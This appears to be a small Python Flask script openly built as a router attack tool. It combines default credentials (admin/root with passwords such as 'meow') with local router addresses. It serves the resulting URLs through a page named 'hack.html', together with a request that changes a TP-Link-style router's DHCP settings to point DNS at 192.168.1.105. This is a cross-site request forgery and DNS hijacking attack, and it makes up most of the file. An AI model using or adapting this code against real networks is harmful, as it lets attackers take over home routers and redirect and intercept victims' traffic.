from flask import request
from flask import Flask, render_template
import itertools

app = Flask(__name__, template_folder=".")

set_aim = ['192.168.1.253', '192.168.1.1']
set_name = ['admin', 'root']
set_pswd = ['admin', 'root', 'meow']

# demo hack url: http://192.168.1.253/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6

set_hack = [r"userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=192.168.1.105&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6"]

@app.route("/")
def mapview():
    login_url_set = ['http://%s:%s@%s' % p for p in itertools.product(set_name, set_pswd, set_aim)]
    hack_url_set = ['http://%s/%s' % p for p in itertools.product(set_aim, set_hack)]
    print 'len(url_set):',len(login_url_set)
    return render_template('hack.html', login_url_set = login_url_set, hack_url_set = hack_url_set)

if __name__ == "__main__":    
    # app.run(debug=False, host='0.0.0.0')
    app.run(debug=True, host = '0.0.0.0')
